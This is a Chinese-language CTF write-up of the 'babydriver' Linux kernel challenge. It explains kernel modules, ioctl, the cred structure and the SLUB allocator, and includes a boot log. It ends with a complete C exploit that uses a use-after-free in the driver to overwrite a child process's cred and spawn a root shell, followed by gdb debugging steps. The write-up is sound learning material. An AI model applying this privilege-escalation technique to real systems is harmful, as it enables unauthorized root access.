第一次接触linux kernel pwn
,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建、运行和调试相关的知识。
这里只对内核做简单的介绍,能够理解本题给出的文件即可,更多相关知识可以参考大学教材《操作系统基础》。
Linux内核是运行于内核空间的程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理。这里要注意在linux系统启动之后,其内核是一直在运行的。
kernel 最主要的功能有两点:
包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。
为了拓展内核功能,而不对内核代码进行修改,出现了内核模块的概念。内核模块是可以根据需要加载到内核中或从内核中卸载的代码块,因此无需重启就可以扩展内核的功能。
内核模块相关的命令如下:
insmod
把指定模块加载到内核中rmmod
从内核中卸载指定模块lsmod
列出内核已经加载的模块我们可以把内核模块当作在内核空间运行的可执行程序。要注意的是内核模块包括驱动程序和内核扩展模块,而本题的漏洞点就出在驱动程序的模块上。
ioctl 是一个系统调用,用于与设备通信。
int ioctl(int fd, unsigned long request, ...)
第一个参数为打开设备 (open) 返回的文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。
ioctl函数是文件结构中的一个属性分量,如果一个驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。所以在可以通过ioctl控制IO通道的设备的驱动程序中,一般应该会存在一个类似于对 ioctl “重载”的定义,来满足自己对IO通信的需要。
kernel需要记录每一个进程的权限信息,而这个权限信息是使用cred结构体记录的。
每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。这个cred结构体不同内核版本可能会有差别,这个可以通过该网站进行查找。
本题内核版本为4.4.72
,查找到的cred结构体源码为:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。
SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。
内核中一些函数和用户态相应的函数有类似的功能,比较常见的有:
slab/slub 分配器
题目中给出了三个文件:
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz
解包后发现存在一个init文件,查看内容
init文件
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
发现这个内核挂载了一个名为babydriver.ko
的内核模块,根据名称可以知道这应该是一个驱动程序。而本题的漏洞也多半会存在于这个驱动程序中。
boot.sh脚本启动后观察效果:
supergate@ubuntu:~/Desktop/Pwn$ ./boot.sh
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP Thu Jun 15 19:52:50 PDT 2017
[ 0.000000] Command line: console=ttyS0 root=/dev/ram oops=panic panic=1
[ 0.000000] KERNEL supported cpus:
[ 0.000000] Intel GenuineIntel
[ 0.000000] AMD AuthenticAMD
[ 0.000000] Centaur CentaurHauls
[ 0.000000] x86/fpu: Legacy x87 FPU detected.
[ 0.000000] x86/fpu: Using 'lazy' FPU context switches.
[ 0.000000] e820: BIOS-provided physical RAM map:
[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable
[ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved
[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x0000000003fdffff] usable
[ 0.000000] BIOS-e820: [mem 0x0000000003fe0000-0x0000000003ffffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000feffc000-0x00000000feffffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved
[ 0.000000] NX (Execute Disable) protection: active
[ 0.000000] SMBIOS 2.8 present.
[ 0.000000] Hypervisor detected: KVM
[ 0.000000] AGP: No AGP bridge found
[ 0.000000] e820: last_pfn = 0x3fe0 max_arch_pfn = 0x400000000
[ 0.000000] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WC UC- UC
[ 0.000000] found SMP MP-table at [mem 0x000f6640-0x000f664f] mapped at [ffff8800000f6640]
[ 0.000000] Scanning 1 areas for low memory corruption
[ 0.000000] RAMDISK: [mem 0x038bd000-0x03fdffff]
[ 0.000000] ACPI: Early table checksum verification disabled
[ 0.000000] ACPI: RSDP 0x00000000000F6460 000014 (v00 BOCHS )
[ 0.000000] ACPI: RSDT 0x0000000003FE16EE 000034 (v01 BOCHS BXPCRSDT 00000001 BXPC 00000001)
[ 0.000000] ACPI: FACP 0x0000000003FE0C14 000074 (v01 BOCHS BXPCFACP 00000001 BXPC 00000001)
[ 0.000000] ACPI: DSDT 0x0000000003FE0040 000BD4 (v01 BOCHS BXPCDSDT 00000001 BXPC 00000001)
[ 0.000000] ACPI: FACS 0x0000000003FE0000 000040
[ 0.000000] ACPI: SSDT 0x0000000003FE0C88 0009B6 (v01 BOCHS BXPCSSDT 00000001 BXPC 00000001)
[ 0.000000] ACPI: APIC 0x0000000003FE163E 000078 (v01 BOCHS BXPCAPIC 00000001 BXPC 00000001)
[ 0.000000] ACPI: HPET 0x0000000003FE16B6 000038 (v01 BOCHS BXPCHPET 00000001 BXPC 00000001)
[ 0.000000] No NUMA configuration found
[ 0.000000] Faking a node at [mem 0x0000000000000000-0x0000000003fdffff]
[ 0.000000] NODE_DATA(0) allocated [mem 0x038b9000-0x038bcfff]
[ 0.000000] kvm-clock: Using msrs 4b564d01 and 4b564d00
[ 0.000000] kvm-clock: cpu 0, msr 0:38b1001, primary cpu clock
[ 0.000000] kvm-clock: using sched offset of 2760115512 cycles
[ 0.000000] clocksource: kvm-clock: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
[ 0.000000] Zone ranges:
[ 0.000000] DMA [mem 0x0000000000001000-0x0000000000ffffff]
[ 0.000000] DMA32 [mem 0x0000000001000000-0x0000000003fdffff]
[ 0.000000] Normal empty
[ 0.000000] Movable zone start for each node
[ 0.000000] Early memory node ranges
[ 0.000000] node 0: [mem 0x0000000000001000-0x000000000009efff]
[ 0.000000] node 0: [mem 0x0000000000100000-0x0000000003fdffff]
[ 0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x0000000003fdffff]
[ 0.000000] ACPI: PM-Timer IO Port: 0x608
[ 0.000000] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
[ 0.000000] IOAPIC[0]: apic_id 0, version 17, address 0xfec00000, GSI 0-23
[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
[ 0.000000] Using ACPI (MADT) for SMP configuration information
[ 0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000
[ 0.000000] smpboot: Allowing 1 CPUs, 0 hotplug CPUs
[ 0.000000] PM: Registered nosave memory: [mem 0x00000000-0x00000fff]
[ 0.000000] PM: Registered nosave memory: [mem 0x0009f000-0x0009ffff]
[ 0.000000] PM: Registered nosave memory: [mem 0x000a0000-0x000effff]
[ 0.000000] PM: Registered nosave memory: [mem 0x000f0000-0x000fffff]
[ 0.000000] e820: [mem 0x04000000-0xfeffbfff] available for PCI devices
[ 0.000000] Booting paravirtualized kernel on KVM
[ 0.000000] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645519600211568 ns
[ 0.000000] setup_percpu: NR_CPUS:512 nr_cpumask_bits:512 nr_cpu_ids:1 nr_node_ids:1
[ 0.000000] PERCPU: Embedded 33 pages/cpu @ffff880003600000 s97752 r8192 d29224 u2097152
[ 0.000000] KVM setup async PF for cpu 0
[ 0.000000] kvm-stealtime: cpu 0, msr 360d9c0
[ 0.000000] Built 1 zonelists in Node order, mobility grouping on. Total pages: 15977
[ 0.000000] Policy zone: DMA32
[ 0.000000] Kernel command line: console=ttyS0 root=/dev/ram oops=panic panic=1
[ 0.000000] PID hash table entries: 256 (order: -1, 2048 bytes)
[ 0.000000] AGP: Checking aperture...
[ 0.000000] AGP: No AGP bridge found
[ 0.000000] Memory: 36716K/65016K available (8314K kernel code, 1279K rwdata, 3976K rodata, 1464K init, 1316K bss, 28300K reserved, 0K cma-reserved)
[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[ 0.000000] Hierarchical RCU implementation.
[ 0.000000] Build-time adjustment of leaf fanout to 64.
[ 0.000000] RCU restricting CPUs from NR_CPUS=512 to nr_cpu_ids=1.
[ 0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=64, nr_cpu_ids=1
[ 0.000000] NR_IRQS:33024 nr_irqs:256 16
[ 0.000000] Console: colour VGA+ 80x25
[ 0.000000] console [ttyS0] enabled
[ 0.000000] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
[ 0.000000] tsc: Detected 2496.004 MHz processor
[ 1.126170] Calibrating delay loop (skipped) preset value.. 4992.00 BogoMIPS (lpj=9984016)
[ 1.135268] pid_max: default: 32768 minimum: 301
[ 1.139451] ACPI: Core revision 20150930
[ 1.143947] ACPI: 2 ACPI AML tables successfully acquired and loaded
[ 1.149670] Security Framework initialized
[ 1.159434] Yama: becoming mindful.
[ 1.165690] AppArmor: AppArmor initialized
[ 1.169775] Dentry cache hash table entries: 8192 (order: 4, 65536 bytes)
[ 1.175475] Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
[ 1.180909] Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
[ 1.186493] Mountpoint-cache hash table entries: 512 (order: 0, 4096 bytes)
[ 1.202340] Initializing cgroup subsys io
[ 1.206327] Initializing cgroup subsys memory
[ 1.209941] Initializing cgroup subsys devices
[ 1.214065] Initializing cgroup subsys freezer
[ 1.217674] Initializing cgroup subsys net_cls
[ 1.221637] Initializing cgroup subsys perf_event
[ 1.233247] Initializing cgroup subsys net_prio
[ 1.237091] Initializing cgroup subsys hugetlb
[ 1.241131] Initializing cgroup subsys pids
[ 1.245307] mce: CPU supports 10 MCE banks
[ 1.249862] Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0
[ 1.254246] Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0
[ 1.384361] Freeing SMP alternatives memory: 28K (ffffffff820af000 - ffffffff820b6000)
[ 1.473797] ftrace: allocating 31613 entries in 124 pages
[ 1.796247] x2apic enabled
[ 1.800944] Switched APIC routing to physical x2apic.
[ 1.818564] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[ 1.935052] smpboot: CPU0: Intel Common KVM processor (family: 0xf, model: 0x6, stepping: 0x1)
[ 1.942138] Performance Events: unsupported Netburst CPU model 6 no PMU driver, software events only.
[ 1.955691] x86: Booted up 1 node, 1 CPUs
[ 1.958859] smpboot: Total of 1 processors activated (4992.00 BogoMIPS)
[ 1.974619] devtmpfs: initialized
[ 1.979005] evm: security.selinux
[ 1.981697] evm: security.SMACK64
[ 1.984283] evm: security.SMACK64EXEC
[ 1.988081] evm: security.SMACK64TRANSMUTE
[ 1.991379] evm: security.SMACK64MMAP
[ 1.998533] evm: security.ima
[ 2.005084] evm: security.capability
[ 2.008165] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[ 2.016654] futex hash table entries: 256 (order: 2, 16384 bytes)
[ 2.022035] pinctrl core: initialized pinctrl subsystem
[ 2.027986] RTC time: 9:44:49, date: 02/26/20
[ 2.039634] NET: Registered protocol family 16
[ 2.044413] cpuidle: using governor ladder
[ 2.047594] cpuidle: using governor menu
[ 2.050727] PCCT header not found.
[ 2.053502] ACPI: bus type PCI registered
[ 2.057422] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5
[ 2.066861] PCI: Using configuration type 1 for base access
[ 2.077126] ACPI: Added _OSI(Module Device)
[ 2.080466] ACPI: Added _OSI(Processor Device)
[ 2.083929] ACPI: Added _OSI(3.0 _SCP Extensions)
[ 2.088056] ACPI: Added _OSI(Processor Aggregator Device)
[ 2.094173] ACPI: Interpreter enabled
[ 2.102266] ACPI: (supports S0 S3 S4 S5)
[ 2.108104] ACPI: Using IOAPIC for interrupt routing
[ 2.112005] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
[ 2.122195] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
[ 2.127097] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI]
[ 2.145882] acpi PNP0A03:00: _OSC failed (AE_NOT_FOUND); disabling ASPM
[ 2.153082] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge.
[ 2.168659] acpiphp: Slot [3] registered
[ 2.179218] acpiphp: Slot [4] registered
[ 2.183204] acpiphp: Slot [5] registered
[ 2.189741] acpiphp: Slot [6] registered
[ 2.194041] acpiphp: Slot [7] registered
[ 2.197961] acpiphp: Slot [8] registered
[ 2.212001] acpiphp: Slot [9] registered
[ 2.215234] acpiphp: Slot [10] registered
[ 2.219508] acpiphp: Slot [11] registered
[ 2.224305] acpiphp: Slot [12] registered
[ 2.227651] acpiphp: Slot [13] registered
[ 2.240972] acpiphp: Slot [14] registered
[ 2.249166] acpiphp: Slot [15] registered
[ 2.253148] acpiphp: Slot [16] registered
[ 2.256811] acpiphp: Slot [17] registered
[ 2.260038] acpiphp: Slot [18] registered
[ 2.263474] acpiphp: Slot [19] registered
[ 2.269134] acpiphp: Slot [20] registered
[ 2.280148] acpiphp: Slot [21] registered
[ 2.289524] acpiphp: Slot [22] registered
[ 2.292841] acpiphp: Slot [23] registered
[ 2.296220] acpiphp: Slot [24] registered
[ 2.301095] acpiphp: Slot [25] registered
[ 2.305431] acpiphp: Slot [26] registered
[ 2.309009] acpiphp: Slot [27] registered
[ 2.320097] acpiphp: Slot [28] registered
[ 2.325455] acpiphp: Slot [29] registered
[ 2.330488] acpiphp: Slot [30] registered
[ 2.335618] acpiphp: Slot [31] registered
[ 2.340361] PCI host bridge to bus 0000:00
[ 2.348867] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window]
[ 2.360245] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window]
[ 2.365726] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
[ 2.374740] pci_bus 0000:00: root bus resource [mem 0x04000000-0xfebfffff window]
[ 2.387600] pci_bus 0000:00: root bus resource [bus 00-ff]
[ 2.404751] pci 0000:00:01.1: legacy IDE quirk: reg 0x10: [io 0x01f0-0x01f7]
[ 2.411180] pci 0000:00:01.1: legacy IDE quirk: reg 0x14: [io 0x03f6]
[ 2.426400] pci 0000:00:01.1: legacy IDE quirk: reg 0x18: [io 0x0170-0x0177]
[ 2.432042] pci 0000:00:01.1: legacy IDE quirk: reg 0x1c: [io 0x0376]
[ 2.439970] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI
[ 2.446346] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB
[ 2.502722] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)
[ 2.508897] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)
[ 2.513869] ACPI: PCI Interrupt Link [LNKC] (IRQs 5 10 *11)
[ 2.526835] ACPI: PCI Interrupt Link [LNKD] (IRQs 5 10 *11)
[ 2.531684] ACPI: PCI Interrupt Link [LNKS] (IRQs *9)
[ 2.537967] ACPI: Enabled 16 GPEs in block 00 to 0F
[ 2.545048] vgaarb: setting as boot device: PCI:0000:00:02.0
[ 2.553316] vgaarb: device added: PCI:0000:00:02.0,decodes=io+mem,owns=io+mem,locks=none
[ 2.565012] vgaarb: loaded
[ 2.567221] vgaarb: bridge control possible 0000:00:02.0
[ 2.573230] SCSI subsystem initialized
[ 2.577864] ACPI: bus type USB registered
[ 2.581260] usbcore: registered new interface driver usbfs
[ 2.594682] usbcore: registered new interface driver hub
[ 2.600254] usbcore: registered new device driver usb
[ 2.605438] PCI: Using ACPI for IRQ routing
[ 2.611214] NetLabel: Initializing
[ 2.613946] NetLabel: domain hash size = 128
[ 2.626252] NetLabel: protocols = UNLABELED CIPSOv4
[ 2.630328] NetLabel: unlabeled traffic allowed by default
[ 2.635448] HPET: 3 timers in total, 0 timers will be used for per-cpu timer
[ 2.641267] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0
[ 2.646116] hpet0: 3 comparators, 64-bit 100.000000 MHz counter
[ 2.663148] amd_nb: Cannot enumerate AMD northbridges
[ 2.667373] clocksource: Switched to clocksource kvm-clock
[ 2.699086] AppArmor: AppArmor Filesystem Enabled
[ 2.703094] pnp: PnP ACPI init
[ 2.706856] pnp: PnP ACPI: found 6 devices
[ 2.722974] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
[ 2.732751] NET: Registered protocol family 2
[ 2.737665] TCP established hash table entries: 512 (order: 0, 4096 bytes)
[ 2.743316] TCP bind hash table entries: 512 (order: 1, 8192 bytes)
[ 2.752852] TCP: Hash tables configured (established 512 bind 512)
[ 2.762468] UDP hash table entries: 256 (order: 1, 8192 bytes)
[ 2.767091] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
[ 2.772649] NET: Registered protocol family 1
[ 2.777046] pci 0000:00:00.0: Limiting direct PCI/PCI transfers
[ 2.785710] pci 0000:00:01.0: PIIX3: Enabling Passive Release
[ 2.794834] pci 0000:00:01.0: Activating ISA DMA hang workarounds
[ 2.801052] Unpacking initramfs...
[ 2.849022] Freeing initrd memory: 7308K (ffff8800038bd000 - ffff880003fe0000)
[ 2.855925] Scanning for low memory corruption every 60 seconds
[ 2.865267] audit: initializing netlink subsys (disabled)
[ 2.872396] audit: type=2000 audit(1582710289.862:1): initialized
[ 2.885141] Initialise system trusted keyring
[ 2.889429] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[ 2.896229] zbud: loaded
[ 2.899841] VFS: Disk quotas dquot_6.6.0
[ 2.903167] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[ 2.918135] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 2.923624] fuse init (API version 7.23)
[ 2.927059] Key type big_key registered
[ 2.931118] Key type asymmetric registered
[ 2.934445] Asymmetric key parser 'x509' registered
[ 2.938584] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 249)
[ 2.952586] io scheduler noop registered
[ 2.956347] io scheduler deadline registered (default)
[ 2.960730] io scheduler cfq registered
[ 2.964674] pci_hotplug: PCI Hot Plug PCI Core version: 0.5
[ 2.969120] pciehp: PCI Express Hot Plug Controller Driver version: 0.4
[ 2.979438] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0
[ 2.988527] ACPI: Power Button [PWRF]
[ 2.991992] GHES: HEST is not enabled!
[ 2.995860] Serial: 8250/16550 driver, 32 ports, IRQ sharing enabled
[ 3.038517] 00:05: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A
[ 3.050003] Linux agpgart interface v0.103
[ 3.056152] loop: module loaded
[ 3.060830] scsi host0: ata_piix
[ 3.063458] scsi host1: ata_piix
[ 3.066541] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14
[ 3.079888] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15
[ 3.087257] libphy: Fixed MDIO Bus: probed
[ 3.090801] tun: Universal TUN/TAP device driver, 1.6
[ 3.094813] tun: (C) 1999-2004 Max Krasnyansky
[ 3.099796] PPP generic driver version 2.4.2
[ 3.108218] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[ 3.116499] ehci-pci: EHCI PCI platform driver
[ 3.120513] ehci-platform: EHCI generic platform driver
[ 3.124763] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[ 3.129676] ohci-pci: OHCI PCI platform driver
[ 3.133321] ohci-platform: OHCI generic platform driver
[ 3.146785] uhci_hcd: USB Universal Host Controller Interface driver
[ 3.152637] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
[ 3.162979] serio: i8042 KBD port at 0x60,0x64 irq 1
[ 3.166992] serio: i8042 AUX port at 0x60,0x64 irq 12
[ 3.179704] mousedev: PS/2 mouse device common for all mice
[ 3.185052] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
[ 3.192883] rtc_cmos 00:00: RTC can wake from S4
[ 3.198721] rtc_cmos 00:00: rtc core: registered rtc_cmos as rtc0
[ 3.213197] rtc_cmos 00:00: alarms up to one day, 114 bytes nvram, hpet irqs
[ 3.219356] i2c /dev entries driver
[ 3.222491] device-mapper: uevent: version 1.0.3
[ 3.226215] device-mapper: ioctl: 4.34.0-ioctl (2015-10-28) initialised: [email protected]
[ 3.233259] ledtrig-cpu: registered to indicate activity on CPUs
[ 3.249688] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100
[ 3.256259] NET: Registered protocol family 10
[ 3.261163] ata2.00: configured for MWDMA2
[ 3.265366] NET: Registered protocol family 17
[ 3.277266] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5
[ 3.285606] Key type dns_resolver registered
[ 3.289694] microcode: CPU0 sig=0xf61, pf=0x1, revision=0x1
[ 3.296241] microcode: Microcode Update Driver: v2.01 , Peter Oruba
[ 3.313056] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[ 3.318515] cdrom: Uniform CD-ROM driver Revision: 3.20
[ 3.323037] registered taskstats version 1
[ 3.326338] Loading compiled-in X.509 certificates
[ 3.332347] sr 1:0:0:0: Attached scsi generic sg0 type 5
[ 3.348425] Loaded X.509 cert 'Build time autogenerated kernel key: bacd82d239214df43588d9d92466da88ef29ce76'
[ 3.359357] zswap: loaded using pool lzo/zbud
[ 3.368756] Key type trusted registered
[ 3.385747] Key type encrypted registered
[ 3.392329] AppArmor: AppArmor sha1 policy hashing enabled
[ 3.396900] ima: No TPM chip found, activating TPM-bypass!
[ 3.402426] evm: HMAC attrs: 0x1
[ 3.412525] Magic number: 8:566:728
[ 3.419380] rtc_cmos 00:00: setting system clock to 2020-02-26 09:44:51 UTC (1582710291)
[ 3.428710] BIOS EDD facility v0.16 2004-Jun-25, 0 devices found
[ 3.437219] EDD information not available.
[ 3.455895] Freeing unused kernel memory: 1464K (ffffffff81f41000 - ffffffff820af000)
[ 3.462366] Write protecting the kernel read-only data: 14336k
[ 3.490217] Freeing unused kernel memory: 1916K (ffff880001821000 - ffff880001a00000)
[ 3.497419] Freeing unused kernel memory: 120K (ffff880001de2000 - ffff880001e00000)
chown: flag: No such file or directory
chmod: flag: No such file or directory
[ 3.530875] babydriver: module verification failed: signature and/or required key missing - tainting kernel
Boot took 1.70 seconds
/ $ ls
bin home linuxrc rootfs.cpio tmp
dev init proc sbin usr
etc lib root sys
/ $ cd root
sh: cd: can't cd to root
大概猜到程序需要我们提权,成为root从而获得flag
将babydriver.ko
放入ida查看逻辑,发现主要有这样几个函数:
open("/dev/babydev")
来调用设备,从而调用这个驱动程序。babydev_struct
结构体。这个结构体包含babydev_struct.device_buf
和babydev_struct.device_buf_len
两个域,分别表示内核缓冲区指针和缓冲区长度。在这个函数中会用kmem_cache_alloc_trace
初始化babydev_struct.device_buf
,并将babydev_struct.device_buf_len
设置为64kfree
释放内存。注意kfree
也会导致野指针出现device_buf_len
超过了这个长度才可以进行拷贝或者输出。两者都首先进行了device_buf
指针是否为空的检查,再进行后续操作babydev_struct
中的 device_buf
,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
注意在内核情况下我们需要更多的考虑并行、进程的问题,内核的很多漏洞都会和这几个方面有关。
根据上面所说的,所有进程内核态的变量都指向同一片物理内存,所以全局变量babydev_struct
会被所有进程共享,并且由于SLUB&SLAB分配器
的特点,分配一块内存时会优先寻找有没有刚被释放的,同样大小的内存,我们可以尝试构造一个条件竞争造成的UAF,修改结构体cred
的uid=gid=0
,从而提权:
babydev_struct.dev_buf_len
为sizeof(cred)
,在本题内核版本为4.4.72情况下,cred结构体大小为0xa8。babydev_struct.dev_buf
会被分配一块内存,由于babydev_struct
被所有进程共享,所以fd2的babydev_struct
也被修改,与fd1相同babydev_struct
被释放,分配的内存也被回收,但是fd2的babydev_struct.device_buf
仍然指向这一块内存,如果使用fd2的write函数仍然可以向这一片空间写入数据babydev_struct.device_buf
指向的空间,也即现在fd2的babydev_struct.device_buf
指向的空间,由于fd2还可控,所以相当于我们已经控制了p进程的cred结构体,从而提权cred.gid, cred.uid
覆盖为0。可以直接使用fd2的read写入。这里注意只需要将28字节的长度#include
#include
#include
#include
#include
#include
#include
int main(){
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8);
close(fd1);
int pid=fork();
if(pid<0){
puts("fork error");
exit(0);
}
else if(pid==0){
char payload[30]={0};
write(fd2,payload,28);
if(getuid()==0){
puts("you are root!!");
system("/bin/sh");
exit(0);
}
}
else {
wait(NULL);
}
close(fd2);
return 0;
}
gcc exploit.c -static -o exploit # kernel 中没有 libc,故静态编译文件
在内核中运行exploit即可提权
这里只介绍有exp的调试,没有exp的裸调操作基本相同
借鉴博客 文章链接的调试方法
./extract-vmlinux ./bzImage > vmlinux
gdb ./vmlinux -q
lsmod
即可/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
然后在gdb中输入add-symbol-file /home/supergate/Desktop/Pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
-gdb tcp::7777
target remote 127.0.0.1:7777
这样我们就可以带exp调试了。
由于我们已经导入了符号表,可以直接通过b babyioctl
的方式下断点